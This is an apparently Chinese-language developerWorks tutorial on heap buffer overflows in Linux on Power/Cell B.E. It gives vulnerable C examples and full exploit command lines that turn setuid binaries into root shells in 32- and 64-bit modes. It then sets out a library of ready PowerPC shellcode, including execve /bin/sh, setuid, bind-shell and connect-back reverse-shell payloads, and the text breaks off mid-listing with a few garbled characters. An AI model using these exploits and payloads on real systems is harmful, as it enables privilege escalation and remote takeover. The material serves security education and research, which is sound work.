LoP/Cell/B.E.:缓冲区溢出漏洞,第 2 部分: 了解缓冲区溢出机制在基于 Linux on Power 的系统上如何进行

来源:developerWorks 中国 作者:Ramon de Carvalho Va
  
了解运行在基于 Power™/Cell Broadband Engine™ Architecture 处理器的服务器中的 Linux® 缓冲区溢出漏洞。当进程尝试将数据储存到固定长度的缓冲区的范围之外时,将出现缓冲区溢出。当出现这种情况时,可能会导致出现各种异常的系统行为,并且某些行为可能会对系统安全性造成威胁。本 系列文章 的第 2 部分将介绍如何在 32 位和 64 位模式中重写函数指针并通过 shell、网络和套接字代码样例阐述汇编组件(LoP/Cell/B.E.:缓冲区溢出漏洞,第 1 部分:理解基于 Linux on Power 的系统缓冲区溢出问题 简要介绍了缓冲区溢出及 Power 和 Cell/B.E.™ 架构,然后说明如何更改目标系统中的进程执行流程以及如何在 32 位和 64 位模式中重写局部变量)。

在这个 两部分系列文章 中,运行在基于 Power/Cell Broadband Engine Architecture 处理器的服务器上的 Linux 中的所有缓冲区溢出漏洞示例都是在运行 Red Hat Enterprise Linux 4 Update 7 的 IBM BladeCenter® JS22 Express 服务器、IBM BladeCenter QS21 服务器和 Sony Playstation 3 中开发和执行的。

本文进一步探讨缓冲区溢出主题,讨论如何在 32 和 64 位模式下重写函数指针,介绍汇编组件,并提供 shell、网络和套接字代码样例。要了解缓冲区溢出的原因和影响,请回顾一下 LoP/Cell/B.E.:缓冲区溢出漏洞,第 1 部分:理解基于 Linux on Power 的系统缓冲区溢出问题。

在 32 位模式下重写函数指针

通过重写函数指针,可以执行任何代?。清单 1 中的示例容易出现基于堆的缓冲区溢出问题:


清单 1. example3.c(容易出现基于堆的缓冲区溢出问题)
				
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct mystruct {
    unsigned char buffer[16];
    int (*myfunc)(const char *format, ...);
};

int
main(int argc, char **argv)
{
    struct mystruct *s;

    if ((s = malloc(sizeof(struct mystruct))) == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    s->myfunc = printf;

    if (argc > 1)
        strcpy(s->buffer, argv[1]);

    s->myfunc("Hello world!\n");

    exit(EXIT_SUCCESS);
}

进程的执行流程可以通过重写函数指针 myfunc 进行更改,该指针是 struct mystruct 的成员,位于内存中随后执行的缓冲区之后。


清单 2. 重写函数指针 myfunc
				
$ gcc -Wall -o example3 example3.c
$ ./example3 AAAAAAAAAAAAAAAABBBB
Segmentation fault
$

清单 3 给出了溢出之后的 struct mystruct 及其在堆片段中的成员。


清单 3. 溢出之后的结构 mystruct
				
Lesser                                                              Greater
addresses                                                         addresses

                         struct mystruct
                         buffer            myfunc
                         [AAAAAAAAAAAAAAAA][BBBB]

Bottom of                                                            Top of
heap                                                                   heap

以下是溢出的 GNU gdb 分析。


清单 4. 溢出的 GNU gdb 分析
				
$ gdb example3
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".

(gdb) r AAAAAAAAAAAAAAAABBBB
Starting program: /home/ramon/example3 AAAAAAAAAAAAAAAABBBB
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x42424240 in ?? ()
(gdb)

结果是,在尝试执行位于地址 0x42424240 的代码时,发生了段故障,该地址指向一个无效的内存位置。处理器尝试执行位于 0x42424240 的代码,而不是位于指定的 0x42424242 的代码,以维持 4 字节长度和字对齐,因为无论何时向处理器提供指令地址(就像在 Branch 指令中一样),低阶的两位都将被忽略。

以下是溢出之后堆片段中的 struct mystruct。


清单 5. 溢出之后堆片段中的结构 mystruct
				
(gdb) x/20bx 0x10011008
0x10011008:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011010:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011018:	0x42	0x42	0x42	0x42
(gdb)

在基于 Power/CBEA 的处理器中运行的 Linux 上的堆分配首先从地址 0x10011008 开始。以下汇编组件(或 shellcode)可用于利用此漏洞。


清单 6. 利用此漏洞的汇编组件(或 shellcode)
				
char setuidcode[]=          /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x18"      /*  addi    r0,r31,-488               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char shellcode[]=           /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode>               */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;

NOP block 技术可以提高成功利用漏洞的机率。在基于 Power/CBEA 的处理器中执行 NOP 操作的首选指令是 oril r0,r0,0(0x60000000)。但是,我们使用了指令 mr r31,r31(0x7ffffb78),这是为了避免出现 0。

有了此信息,我们可以猜测包含来自 NOP 块的 NOP 指令的堆地址(0x10011808)。


清单 7. 利用清单 9 中的代码
				
# chown root. example3
# chmod +s example3

$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ./example3 $(ruby -e 'print "A" * 16 + "\x10\x01\x18\x08" +
"\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18
\x44\xff\xff\x02\x3b\xe0\x01\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02
\xa6\x3b\xde\x01\xff\x38\x7e\xfe\x25\x98\xbe\xfe\x2c\x94\xa1\xff\xfc\x94\x61
\xff\xfc\x7c\x24\x0b\x78\x38\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"')
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#

以下展示了溢出之后的 struct mystruct 及其在堆片段中的成员。


清单 8. 溢出之后的结构 mystruct
				
Lesser                                                              Greater
addresses                                                         addresses

           struct mystruct
           buffer myfunc
           [DDDD][A][NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN][SSSSSSSS]
                  |                  ^
                  |__________________|

Bottom of                                                            Top of
heap                                                                   heap

D = Dummy value (A character)
A = Moderated guess of heap address that possibly will contain a NOP
    instruction
N = NOP instructions
S = Assembly components

在 64 位模式下??写函数指针

现在讨论如何通过在 64 位模式下重写函数指针来执行任意代码。Power 64 位 ELF ABI 定义了函数描述符的概念,函数描述符包含在 ELF 文件的 .opd 部分中。

函数描述符是一些包含一个函数指针、一个指向 TOC 部分的指针和一个环境指针(用于 Pascal 等语言)的结构。在高级语言中,函数符号名称的值是函数描述符的地址,而不是函数的地址。以点(.)前缀开始的符号名称用于函数地址。Power 32 位 ELF EABI 未定义函数描述符。

Power 64 位 ELF ABI 要使用函数描述符,需要更改操作函数地址的代码。要访问函数地址,可以使用以下代码。


清单 9. 访问函数地址
				
int function_name(int arg1, int arg2);

typedef struct function_descriptor {
    void *addr;
    unsigned long toc;
    unsigned long env;
} f_desc_t;

function_address=(unsigned long)(((f_desc_t *)function_name)->addr);

这使得利用前面的示例不同于在 32 模式下利用漏洞 —— 无需进行更改就可以将前面的示例移植到 64 位模式下。


清单 10. 重写函数指针 myfunc
				
$ gcc -Wall -m64 -o example4 example3.c
$ ./example4 AAAAAAAAAAAAAAAABBBBBBBB
Segmentation fault
$

以下给出了溢出之后的 struct mystruct 及其在堆片段中的成员。


清单 11. 溢出之后的结构 mystruct
				
Lesser                                                              Greater
addresses                                                         addresses

                       struct mystruct
                       buffer            myfunc descriptor
                       [AAAAAAAAAAAAAAAA][BBBBBBBB]

Bottom of                                                            Top of
heap                                                                   heap

以下是溢出的 GNU gdb 分析。


清单 12. 溢出的 GNU gdb 分析
				
$ gdb example4
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".

(gdb) r AAAAAAAAAAAAAAAABBBBBBBB
Starting program: /home/ramon/example4 AAAAAAAAAAAAAAAABBBBBBBB
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x00000000100006f8 in .main ()
(gdb) x/i $pc
0x100006f8 <.main+148>:	ld      r0,0(r9)
(gdb) i r r9
r9             0x4242424242424242	4774451407313060418
(gdb)

这导致当尝试从指定的地址 0x4242424242424242 处的函数描述符加载函数地址时,将发生段故障,这个指定的地址指向了一个无效的内存位置。

为了成功利用此漏洞,myfunc 函数描述符必须指向一个包含伪函数描述符的有效内存位置,其 addr 成员指向一个来自 NOP 块的 NOP 指令,后面跟随汇编组件。

以下是溢出之后堆片段中的 struct mystruct。


清单 13. 溢出之后堆片段中的结构 mystruct
				
(gdb) x/24bx 0x10011010
0x10011010:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011018:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011020:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
(gdb)

记住,在 64 位模式下,在基于 Power/CBEA 的处理器上运行的 Linux 中的堆分配从地址 0x0000000010011010 开始。这使得只有在输入数据能够包含 0 的情况下,才能成功利用此类漏洞。

下面的示例修改了前面易出现基于堆的缓冲区溢出的示例,它从一个文件读入数据,因此能够接受 0。


清单 14. example4.c(它接受 0)
				
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct mystruct {
    unsigned char buffer[16];
    int (*myfunc)(const char *format, ...);
};

int
main(int argc, char **argv)
{
    struct mystruct *s;
    FILE *fp;

    if ((fp = fopen(argv[1], "r")) == NULL) {
        perror("fopen");
        exit(EXIT_FAILURE);
    }

    if ((s = malloc(sizeof(struct mystruct))) == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    s->myfunc = printf;

    fgets(s->buffer, 16384, fp);

    s->myfunc("Hello world!\n");

    exit(EXIT_SUCCESS);
}

另外,要在 64 位模式下利用此漏洞,需要使用 64 位模式汇编组件。


清单 15. 64 位模式汇编组件
				
char setuidcode[]=          /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x18"      /*  addi    r0,r31,-488               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char shellcode64[]=         /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode64>             */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;

可以在一个 NOP 块之后使用一个仅包含其 addr 成员的伪函数描述符块,以提高利用漏洞的机会。 NOP 块和伪函数描述符块之间的区别是固定的。如果这些块具有相同的大小,那么只能猜测哪个指针指向一个伪函数描述符(0x0000000010011810 —— 这暗示着地址 0x0000000010012810 将包含一个 NOP 指令)。


清单 16. 利用清单 14
				
$ gcc -Wall -m64 -o example4 example4.c

# chown root. example4
# chmod +s example4

$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ruby -e 'print "A" * 16 + "\x00\x00\x00\x00\x10\x01\x18\x10" +
"\x00\x00\x00\x00\x10\x01\x28\x10" * 512 + "\x7f\xff\xfb\x78" * 1024 +
"\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18\x44\xff\xff\x02\x3b\xe0\x01
\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02\xa6\x3b\xde\x01\xff\x38\x7e
\xfe\x25\x98\xbe\xfe\x2c\xf8\xa1\xff\xf9\xf8\x61\xff\xf9\x7c\x24\x0b\x78\x38
\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"' > exploit.txt
$ ./example4 exploit.txt
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#

以下给出了溢出之后的 struct mystruct 及其在堆片段中的成员。


清单 17. 溢出之后的结构 mystruct
				
Lesser                                                              Greater
addresses                                                         addresses

          struct mystruct
          buffer myfunc descriptor
          [DDDD][P][AAAAAAAAAAAAAAAA][NNNNNNNNNNNNNNNN][SSSSSSSS]
                 |         ^|                 ^
                 |_________||_________________|
                                   fixed

Bottom of                                                            Top of
heap                                                                   heap

D = Dummy value (A character)
P = Moderated guess of heap address that possibly will contain an address of
    NOP instruction (fake function descriptor)
A = Moderated guess of heap address that possibly will contain a NOP
    instruction
N = NOP instructions
S = Assembly components

现在我们详细讨论一下汇编组件。





汇编组件

以下汇编组件 — shell 执行代码、网络服务器代码、网络连接代码以及查找套接字代码 — 将在 代码示例 部分提供,以供在基于 Linux on Power/CBEA 处理器的概念证明代码中使用(参见 参考资料)。这些汇编组件是 UNIX® Assembly Components for Proof of Concept Codes 项目的一部分:

  • Shell 执行代码(shellcode):仅执行 /bin/sh 程序。
  • 网络服务器代码(bndsockcode):这段代码在 bndsockcode 例程的 BNDSOCKPORT 偏移量处定义的端口上创建一个监听 TCP 套接字(端口默认值设置为 1234)。接受一个连接之后,这段代码将远程 TCP 端点的套接字描述符复制到进程的标准描述符(stdin、stdout 和 stderr)并执行一个交互式 shell。
  • 网络连接代码(cntsockcode):这段代码建立与远程 IP 地址和端口的 TCP 连接,定义在 cntsockcode 例程的 CNTSOCKADDR 和 CNTSOCKPORT 偏移量处,远程 IP 地址和端口分别默认设置为 127.0.0.1 和 1234)。建立连接之后,这段代码将远程 TCP 端点套接字描述符复制到进程的标准描述符(stdin、stdout 和 stderr)并执行一个交互式 shell。
  • 查找套接字代码(fndsockcode):这段代码遍历进程的描述符表,搜索远程 TCP 端点的套接字描述符,该描述符由 fndsockcode 的 FNDSOCKPORT 偏移量处定义的端口号标识。如果定位了一个端点,则循环将终止,找到的套接字描述符将被复制到进程的标准描述符(stdin、stdout 和 stderr)。

    在执行 fndsockcode 之前,一个客户机软件应该建立与一个进程的 TCP 连接,查找套接字代码将在这个进程中执行。还应该在 fndsockcode 的 FNDSOCKPORT 偏移量处适当设置代码数据,以确保正确标识客户机连接。




代码示例


清单 18. Shell 执行代码(shellcode)
				
char setresuidcode[]=       /*  24 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x78"      /*  xor     r5,r5,r5                  */
    "\x7c\x84\x22\x78"      /*  xor     r4,r4,r4                  */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\xa5"      /*  addi    r0,r31,-347               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char setreuidcode[]=        /*  20 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x84\x22\x78"      /*  xor     r4,r4,r4                  */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x47"      /*  addi    r0,r31,-441               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char setuidcode[]=          /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x18"      /*  addi    r0,r31,-488               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char shellcode[]=           /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode>               */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;

char exitcode[]=            /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x02"      /*  addi    r0,r31,-510               */
    "\x44\xff\xff\x02"      /*  sc                                */
;


清单 19. 64 位 shell 执行代码(shellcode)
				
char shellcode64[]=         /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode64>             */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


清单 20. 网络服务器代码(bndsockcode)
				
#define BNDSOCKPORT 58

char bndsockcode[]=         /*  223 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\x81\xff\xfc"      /*  stwu    r28,-4(r1)                */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\xff\x02"      /*  lis     r23,-254                  */
    "\x62\xf7\x04\xd2"      /*  ori     r23,r23,1234              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x7c\x36\x0b\x78"      /*  mr      r22,r1                    */
    "\x97\x21\xff\xfc"      /*  stwu    r25,-4(r1)                */
    "\x96\xc1\xff\xfc"      /*  stwu    r22,-4(r1)                */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x03"      /*  addi    r3,r29,-509               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x05"      /*  addi    r3,r29,-507               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x06"      /*  addi    r3,r29,-506               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x75\x1b\x78"      /*  mr      r21,r3                    */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7e\xa3\xab\x78"      /*  mr      r3,r21                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <bndsockcode+148>         */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <bndsockcode+172>         */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


清单 21. 64 位网络服务器代码(bndsockcode)
				
#define BNDSOCKPORT 58

char bndsockcode64[]=       /*  223 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\x81\xff\xf9"      /*  stdu    r28,-8(r1)                */
    "\xfb\x61\xff\xf9"      /*  stdu    r27,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\xff\x02"      /*  lis     r23,-254                  */
    "\x62\xf7\x04\xd2"      /*  ori     r23,r23,1234              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x7c\x36\x0b\x78"      /*  mr      r22,r1                    */
    "\xfb\x21\xff\xf9"      /*  stdu    r25,-8(r1)                */
    "\xfa\xc1\xff\xf9"      /*  stdu    r22,-8(r1)                */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x03"      /*  addi    r3,r29,-509               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x05"      /*  addi    r3,r29,-507               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x06"      /*  addi    r3,r29,-506               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x75\x1b\x78"      /*  mr      r21,r3                    */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7e\xa3\xab\x78"      /*  mr      r3,r21                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <bndsockcode64+148>       */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <bndsockcode64+172>       */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


清?? 22. 网络连接代码(cntsockcode)
				
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT  62

char cntsockcode[]=         /*  183 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\x81\xff\xfc"      /*  stwu    r28,-4(r1)                */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\x7f\x00"      /*  lis     r23,32512                 */
    "\x62\xf7\x00\x01"      /*  ori     r23,r23,1                 */
    "\x3a\xc0\x04\xd2"      /*  li      r22,1234                  */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x96\xc1\xff\xfc"      /*  stwu    r22,-4(r1)                */
    "\x93\x61\xff\xfe"      /*  stw     r27,-2(r1)                */
    "\x7c\x35\x0b\x78"      /*  mr      r21,r1                    */
    "\x97\x21\xff\xfc"      /*  stwu    r25,-4(r1)                */
    "\x96\xa1\xff\xfc"      /*  stwu    r21,-4(r1)                */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x04"      /*  addi    r3,r29,-508               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7f\x43\xd3\x78"      /*  mr      r3,r26                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <cntsockcode+108>         */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <cntsockcode+132>         */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
